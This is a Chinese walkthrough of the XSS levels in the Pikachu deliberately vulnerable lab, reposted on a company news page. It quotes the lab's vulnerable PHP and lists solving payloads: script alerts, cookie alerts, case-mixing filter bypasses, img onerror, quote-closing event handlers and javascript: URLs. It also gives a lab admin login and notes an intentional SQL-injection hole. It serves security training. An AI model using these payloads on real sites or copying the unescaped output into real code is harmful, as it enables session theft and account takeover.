尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

pikachu-xss通关教程

pikachu-xss通关教程
📅 发布时间:2026/7/31 7:00:19

反射型xss(get):

<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "xss_reflected_get.php"){ $ACTIVE = array('','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; $html=''; if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>输入'kobe'试试-_-</p>"; }else{ if($_GET['message']=='kobe'){ $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />"; }else{ $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>"; } } } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="xss.php">xss</a> </li> <li class="active">反射型xss(get)</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right">

反射型xss(post):

<script>alert(document.cookie)</script>

存储型xss:

<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "xss_stored.php"){ $ACTIVE = array('','','','','','','','active open','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; include_once $PIKA_ROOT_DIR."inc/config.inc.php"; include_once $PIKA_ROOT_DIR."inc/mysql.inc.php"; $link=connect(); $html=''; if(array_key_exists("message",$_POST) && $_POST['message']!=null){ $message=escape($link, $_POST['message']); $query="insert into message(content,time) values('$message',now())"; $result=execute($link, $query); if(mysqli_affected_rows($link)!=1){ $html.="<p>数据库出现异常,提交失败!</p>"; } } if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){ //彩蛋:虽然这是个存储型xss的页面,但这里有个delete的sql注入 $query="delete from message where id={$_GET['id']}"; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ echo "<script type='text/javascript'>document.location.href='xss_stored.php'</script>"; }else{ $html.="<p id='op_notice'>删除失败,请重试并检查数据库是否还好!</p>"; } } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="xss.php">xss</a> </li> <li class="active">存储型xss</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right">

DOM型xss:

<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "xss_dom.php"){ $ACTIVE = array('','','','','','','','active open','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; include_once $PIKA_ROOT_DIR."inc/config.inc.php"; include_once $PIKA_ROOT_DIR."inc/mysql.inc.php"; if(isset($_GET['text'])){ $haha = "这里是后台的处理逻辑"; } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="xss.php">xss</a> </li> <li class="active">DOM型xss</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right">

javascript:alert(22); //里边用数字, javascript:alert('XSS'); //不行 javascript:alert(XSS);

方法二:'οnclick="alert(1)"

'onclick="alert(333)" 'onclick="alert(333)" #' onclick="alert(111)">

DOM-XSS-x:

<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "xss_dom.php"){ $ACTIVE = array('','','','','','','','active open','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; include_once $PIKA_ROOT_DIR."inc/config.inc.php"; include_once $PIKA_ROOT_DIR."inc/mysql.inc.php"; $html=''; if(isset($_GET['text'])){ $html.= "<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>"; } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="xss.php">xss</a> </li> <li class="active">DOM型xss</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right">

#' onclick="alert(111)">

XSS-盲打:

提交留言,然后登录http://192.168.40.133:83/vul/xss/xssblind/admin_login.php

<script>alert(1)</script> <script>alert(document.cookie)</script> <script>alert("xss");</script> <script>alert(xss)</script> <script>alert(1)</script> 大小写(不需要) <sCrIPt>alert("XSS-Reflect01");</sCrIpT> <sCRipt>alert("XSS-Reflect01");</sCRipt> <ScriPT>alert("XSS-Reflect01");</sCrIpT> <sc<script>ript>alert("xss-reflect002");</script> <img src=0 onerror=alert("XSS-img")>

http://192.168.40.133:83/vul/xss/xssblind/admin_login.php ;admin/123456;

xss之过滤:

根据提示,考虑绕过:

参考:

<script>alert(1)</script> <script>alert(document.cookie)</script> <script>alert("xss");</script> <script>alert(xss)</script> <script>alert(1)</script> 大小写(不需要) <sCrIPt>alert("XSS-Reflect01");</sCrIpT> <sCRipt>alert("XSS-Reflect01");</sCRipt> <ScriPT>alert("XSS-Reflect01");</sCrIpT> <sc<script>ript>alert("xss-reflect002");</script> <img src=0 onerror=alert("XSS-img")>

先测试一下:

payload:

<sCrIPt>alert(122)</sCrIpT> //大小写绕过; <a herf="#" onclick="alert(document.cookie)"> <img src=1 onerror=alert(1)>

xss之htmlspecialchars:

先测试如下:

发现代码被原样输出;

htmlspecialchars()函数把预定义的字符转换为HTML实体。 预定义的字符是: • &(和号) = &amp • "(双引号) = &quot • '(单引号) = ' • <(小于) = &lt • >(大于) = &gt 我们也可以通过输入'&<>",来排查什么字符被转义了 & 成为 &amp " 成为 &quot ' 成为 &#039 < 成为 &lt > 成为 &gt 可用引号类型 ENT_COMPAT:默认,仅编码双引号 ENT_QUOTES:编码双引号和单引号 ENT_NOQUOTES:不编码任何引号

我们可以发现&(和号)、"(双引号)和<>(小于号、大于号)被转义了,而'(单引号)可以正常使用;

'οnclick='alert(1)'

#'οnmοuseοver='alert(1)'>

#' οnclick='alert(/xss/)

avascript:alert(3333) // JavaScript伪协议 hack' οnfοcus='alert(5555) // 单引号闭合+事件标签

xss之href输出:

javascript:alert(111) // JavaScript伪协议

<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "xss_03.php"){ $ACTIVE = array('','','','','','','','active open','','','','','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; $html=''; if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>叫你输入个url,你咋不听?</p>"; } if($_GET['message'] == 'www.baidu.com'){ $html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>"; }else { //输出在a标签的href属性里面,可以使用javascript协议来执行js //防御:只允许http,https,其次在进行htmlspecialchars处理 $message=htmlspecialchars($_GET['message'],ENT_QUOTES); $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>"; } } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="xss.php">xss</a> </li> <li class="active">xss之href输出</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right">

<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "xss_04.php"){ $ACTIVE = array('','','','','','','','active open','','','','','','','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR.'header.php'; $jsvar=''; $html=''; //这里讲输入动态的生成到了js中,形成xss //javascript里面是不会对tag和字符实体进行解释的,所以需要进行js转义 //讲这个例子主要是为了让你明白,输出点在js中的xss问题,应该怎么修? //这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。 //所以在JS的输出点应该使用\对特殊字符进行转义 if(isset($_GET['submit']) && $_GET['message'] !=null){ $jsvar=$_GET['message']; // $jsvar=htmlspecialchars($_GET['message'],ENT_QUOTES); if($jsvar == 'tmac'){ $html.="<img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/tmac.jpeg' />"; } } ?> <div class="main-content" xmlns="http://www.w3.org/1999/html"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="xss.php">xss</a> </li> <li class="active">xss之js输出</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right">

相关新闻

  • GPIO输入模式深度解析:从硬件电路到软件消抖的嵌入式实战
  • MOSFET驱动电流估算:从Qg公式到PCB布局的实战避坑指南
  • 腾讯百度地图POI分类关键词表构建:从数据清洗到多源融合实战

最新新闻

  • 创客匠人:一家知识付费SaaS服务商的技术进化与行业深耕
  • Python数据可视化进阶:配色原理与Matplotlib高级技巧实战
  • 为什么说APAxpo是粤港澳大湾区规模最大、影响力最强的汽车改装盛会?
  • RAG技术中的文档切块与多模态处理优化实践
  • 美国“共享孙子”免费上线!凭什么估值100亿?
  • 武汉AI客服与销售跟进系统热门厂商选择指南

日新闻

  • 7步掌握KMS智能激活工具:Windows和Office永久激活完整方案
  • 如何在Windows上运行iOS应用:ipasim跨平台模拟器终极指南
  • 2026年重庆工伤赔偿律师口碑推荐:洪家木律师用专业赢得信赖 - 本地品牌推荐

周新闻

  • 大连理工大学与东京大学联手打造的“主动型AI助手“
  • 170.2026年国家级科研瓶颈:超精密单点金刚石切削(SPDT)光学表面生成
  • SongBloom:革命性歌曲生成框架深度解析——如何通过交织自回归与扩散模型创作完整音乐

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号